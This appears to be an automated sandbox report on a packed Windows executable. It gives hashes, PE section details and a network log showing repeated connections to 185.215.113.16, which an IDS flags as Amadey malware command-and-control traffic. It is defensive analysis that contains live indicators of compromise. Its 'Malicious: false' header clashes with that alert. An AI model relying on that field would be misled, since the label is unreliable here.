SHA-512:	AEE956F795938358C3B9EEFED53B4B0AC591486CE33FBBB20C9A10DD86F02A884CDE557729EA2C6355089479F2D7D86A6CEBD7A5B1A09DB0BE41588FA2695395
Malicious:	false
Reputation:	low
Preview:	....6.l.v.GJ.[KJ..*.F.......<... .....s.......... ....................<.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94989797306349
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'923'072 bytes
MD5:	73acb4cc181aca9525ab9f599500b9ca
SHA1:	46a29f8b0e10003f85a8eae8a46473d0344650df
SHA256:	4bc8ab389044aabd25719e924300530feddae8efa8a485cbfd67de8f347132f2
SHA512:	f84e777e3591e00a8c7ac53ad47554d100aec16f19e143dd69447cd2d3872975c5c673f2ab1a8c66a164d0dec73d8876a7d9064386eb90c0474e55c2187ce5c0
SSDEEP:	49152:yndcjiRsr7EcYYIpTdp08efz7c2QL7nqIGg0HlpI4:eZR66TdWfXc2aTDYI
TLSH:	2C9533676AA1FA45C0592C3D02C611F7EFF43D250F6CAC7B444F50B648AB6AAF399C90
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8c8000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A240BE [Thu Jul 25 12:10:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD4A50EF64Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4c6bd8	0x10	dmbsosmk
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4c6b88	0x18	dmbsosmk
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	6d50196f7b5ae45824a431eef5b50658	False	0.9974561478201635	data	7.986034970037844	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	91486163663a4305e32eeb4121f91443	False	0.576171875	data	4.499495391799583	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b8000	0x200	8ea2baa4e0e7f3136a9485542b7cad93	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dmbsosmk	0x323000	0x1a4000	0x1a3e00	75cae3cf00182da978937b697cd3d82f	False	0.99479069756624	data	7.954774902073578	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uuntaxqq	0x4c7000	0x1000	0x400	faf67af2e8789c3ff16ef1f42d4bd344	False	0.70703125	data	5.671834197687797	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4c8000	0x3000	0x2200	96775bf0feb34cf91c61367962b0c166	False	0.05859375	DOS executable (COM)	0.7821275486501513	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4c6be8	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T11:30:14.455258+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	65069	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 11:30:04.070281029 CEST	65060	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:04.075326920 CEST	80	65060	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:04.075403929 CEST	65060	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:04.075659037 CEST	65060	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:04.080430984 CEST	80	65060	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:04.794305086 CEST	80	65060	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:04.794434071 CEST	65060	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:04.796751022 CEST	65060	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:04.801544905 CEST	80	65060	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:05.025235891 CEST	80	65060	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:05.025603056 CEST	65060	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:05.133064032 CEST	65060	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:05.133234978 CEST	65061	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:05.138057947 CEST	80	65061	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:05.138169050 CEST	65061	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:05.138307095 CEST	80	65060	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:05.138406038 CEST	65060	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:05.143078089 CEST	65061	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:05.147933006 CEST	80	65061	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:05.844012022 CEST	80	65061	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:05.844069004 CEST	65061	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:05.910186052 CEST	65061	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:05.915270090 CEST	80	65061	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:06.143379927 CEST	80	65061	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:06.143452883 CEST	65061	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:06.257384062 CEST	65061	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:06.257704020 CEST	65062	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:06.262573004 CEST	80	65062	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:06.262640953 CEST	80	65061	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:06.262721062 CEST	65062	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:06.262722015 CEST	65061	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:06.262881994 CEST	65062	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:06.267705917 CEST	80	65062	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:06.969969988 CEST	80	65062	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:06.970104933 CEST	65062	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:06.970972061 CEST	65062	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:06.975806952 CEST	80	65062	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:07.201378107 CEST	80	65062	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:07.201457024 CEST	65062	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:07.304362059 CEST	65062	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:07.304668903 CEST	65063	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:07.309530973 CEST	80	65063	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:07.309623957 CEST	65063	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:07.309784889 CEST	65063	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:07.309804916 CEST	80	65062	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:07.309859991 CEST	65062	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:07.314543009 CEST	80	65063	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:08.027483940 CEST	80	65063	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:08.027616978 CEST	65063	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:08.028548956 CEST	65063	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:08.033368111 CEST	80	65063	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:08.258482933 CEST	80	65063	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:08.258569002 CEST	65063	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:08.369947910 CEST	65063	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:08.370475054 CEST	65064	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:08.375103951 CEST	80	65063	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:08.375149965 CEST	65063	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:08.375356913 CEST	80	65064	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:08.375420094 CEST	65064	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:08.375638008 CEST	65064	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:08.380359888 CEST	80	65064	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:09.085366964 CEST	80	65064	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:09.085513115 CEST	65064	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:09.086894035 CEST	65064	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:09.091706038 CEST	80	65064	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:09.317621946 CEST	80	65064	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:09.317765951 CEST	65064	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:09.429265976 CEST	65064	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:09.429682016 CEST	65065	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:09.434386969 CEST	80	65064	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:09.434510946 CEST	65064	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:09.434559107 CEST	80	65065	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:09.434701920 CEST	65065	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:09.435410023 CEST	65065	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:09.440174103 CEST	80	65065	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:10.160864115 CEST	80	65065	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:10.160957098 CEST	65065	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:10.161812067 CEST	65065	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:10.166698933 CEST	80	65065	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:10.465637922 CEST	80	65065	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:10.465697050 CEST	65065	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:10.569952011 CEST	65065	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:10.570311069 CEST	65066	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:10.575052977 CEST	80	65065	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:10.575090885 CEST	80	65066	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:10.575141907 CEST	65065	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:10.575206995 CEST	65066	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:10.575356960 CEST	65066	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:10.580101013 CEST	80	65066	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:11.293389082 CEST	80	65066	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:11.293482065 CEST	65066	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:11.294153929 CEST	65066	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:11.299027920 CEST	80	65066	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:11.524995089 CEST	80	65066	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:11.525130987 CEST	65066	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:11.632523060 CEST	65066	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:11.632908106 CEST	65067	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:11.639854908 CEST	80	65066	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:11.639878988 CEST	80	65067	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:11.639957905 CEST	65066	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:11.640019894 CEST	65067	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:11.640261889 CEST	65067	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:11.645503044 CEST	80	65067	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:12.346571922 CEST	80	65067	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:12.346641064 CEST	65067	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:12.348256111 CEST	65067	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:12.353259087 CEST	80	65067	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:12.579307079 CEST	80	65067	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:12.579442978 CEST	65067	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:12.697112083 CEST	65067	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:12.697452068 CEST	65068	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:12.702305079 CEST	80	65067	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:12.702475071 CEST	65067	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:12.702497005 CEST	80	65068	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:12.702608109 CEST	65068	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:12.702795029 CEST	65068	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:12.707628965 CEST	80	65068	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:13.421040058 CEST	80	65068	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:13.421154022 CEST	65068	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:13.421866894 CEST	65068	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:13.426786900 CEST	80	65068	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:13.653191090 CEST	80	65068	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:13.653260946 CEST	65068	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:13.757915020 CEST	65068	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:13.758399963 CEST	65069	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:13.763221979 CEST	80	65068	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:13.763258934 CEST	80	65069	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:13.763271093 CEST	65068	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:13.763323069 CEST	65069	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:13.763535976 CEST	65069	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:13.768455982 CEST	80	65069	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:14.455089092 CEST	80	65069	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:14.455257893 CEST	65069	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:14.455976963 CEST	65069	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:14.460891962 CEST	80	65069	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:14.678169012 CEST	80	65069	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:14.678235054 CEST	65069	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:14.788621902 CEST	65069	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:14.788957119 CEST	65070	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:14.793823004 CEST	80	65069	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:14.793893099 CEST	65069	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:14.794028997 CEST	80	65070	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:14.794099092 CEST	65070	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:14.794277906 CEST	65070	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:14.799405098 CEST	80	65070	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:15.485001087 CEST	80	65070	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:15.485172987 CEST	65070	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:15.485976934 CEST	65070	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:15.490729094 CEST	80	65070	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:15.707859039 CEST	80	65070	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:15.708034039 CEST	65070	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:15.819920063 CEST	65070	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:15.820233107 CEST	65071	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:15.825268030 CEST	80	65071	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:15.825406075 CEST	65071	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:15.825481892 CEST	65071	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:15.825512886 CEST	80	65070	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:15.825568914 CEST	65070	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:15.830478907 CEST	80	65071	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:16.532732010 CEST	80	65071	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:16.532840014 CEST	65071	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:16.533512115 CEST	65071	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:16.538548946 CEST	80	65071	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:16.764434099 CEST	80	65071	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:16.764692068 CEST	65071	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:16.866693020 CEST	65071	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:16.867010117 CEST	65072	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:16.871900082 CEST	80	65072	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:16.871978998 CEST	65072	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:16.872104883 CEST	65072	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:16.872498035 CEST	80	65071	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:16.872548103 CEST	65071	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:16.876873016 CEST	80	65072	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:17.579579115 CEST	80	65072	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:17.579756021 CEST	65072	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:17.580671072 CEST	65072	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:17.585505962 CEST	80	65072	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:17.816270113 CEST	80	65072	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:17.816406012 CEST	65072	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:17.929208040 CEST	65072	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:17.929541111 CEST	65073	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:17.934442997 CEST	80	65073	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:17.934456110 CEST	80	65072	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:17.934587002 CEST	65072	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:17.934628010 CEST	65073	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:17.934891939 CEST	65073	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:17.939714909 CEST	80	65073	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:19.731122971 CEST	80	65073	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:19.731178999 CEST	65073	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:19.731821060 CEST	80	65073	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:19.731920958 CEST	65073	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:19.731959105 CEST	65073	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:19.731976032 CEST	80	65073	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:19.732014894 CEST	65073	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:19.733408928 CEST	80	65073	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:19.733458996 CEST	65073	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:19.736846924 CEST	80	65073	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:19.964298010 CEST	80	65073	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:19.964477062 CEST	65073	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:20.069888115 CEST	65073	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:20.070218086 CEST	65074	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:20.075017929 CEST	80	65074	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:20.075113058 CEST	65074	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:20.075190067 CEST	80	65073	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:20.075238943 CEST	65073	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:20.075298071 CEST	65074	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:20.080051899 CEST	80	65074	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:20.784742117 CEST	80	65074	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:20.784929991 CEST	65074	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:20.786175966 CEST	65074	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:20.790916920 CEST	80	65074	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:21.025149107 CEST	80	65074	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:21.025230885 CEST	65074	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:21.132282972 CEST	65074	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:21.132643938 CEST	65075	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:21.137573004 CEST	80	65075	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:21.137696028 CEST	65075	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:21.137820005 CEST	65075	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:21.138099909 CEST	80	65074	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:21.138149977 CEST	65074	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:21.142714977 CEST	80	65075	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:21.838718891 CEST	80	65075	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:21.838854074 CEST	65075	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:21.841479063 CEST	65075	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:21.846415997 CEST	80	65075	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:22.065246105 CEST	80	65075	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:22.065417051 CEST	65075	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:22.179419994 CEST	65075	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:22.179778099 CEST	65076	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:22.184686899 CEST	80	65075	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:22.184706926 CEST	80	65076	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:22.184773922 CEST	65075	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:22.184806108 CEST	65076	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:22.185002089 CEST	65076	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:22.189719915 CEST	80	65076	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:22.900418043 CEST	80	65076	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:22.900562048 CEST	65076	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:22.901308060 CEST	65076	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:22.906138897 CEST	80	65076	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:23.133434057 CEST	80	65076	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:23.133557081 CEST	65076	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:23.241760015 CEST	65076	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:23.242124081 CEST	65077	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:23.246972084 CEST	80	65076	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:23.246989012 CEST	80	65077	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:23.247062922 CEST	65076	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:23.247111082 CEST	65077	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:23.247329950 CEST	65077	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:23.252062082 CEST	80	65077	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:23.958262920 CEST	80	65077	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:23.958333015 CEST	65077	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:23.959089994 CEST	65077	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:23.963933945 CEST	80	65077	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:24.190504074 CEST	80	65077	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:24.190741062 CEST	65077	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:24.306631088 CEST	65077	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:24.306982040 CEST	65079	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:24.311719894 CEST	80	65077	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:24.311738968 CEST	80	65079	185.215.113.16	192.168.2.6
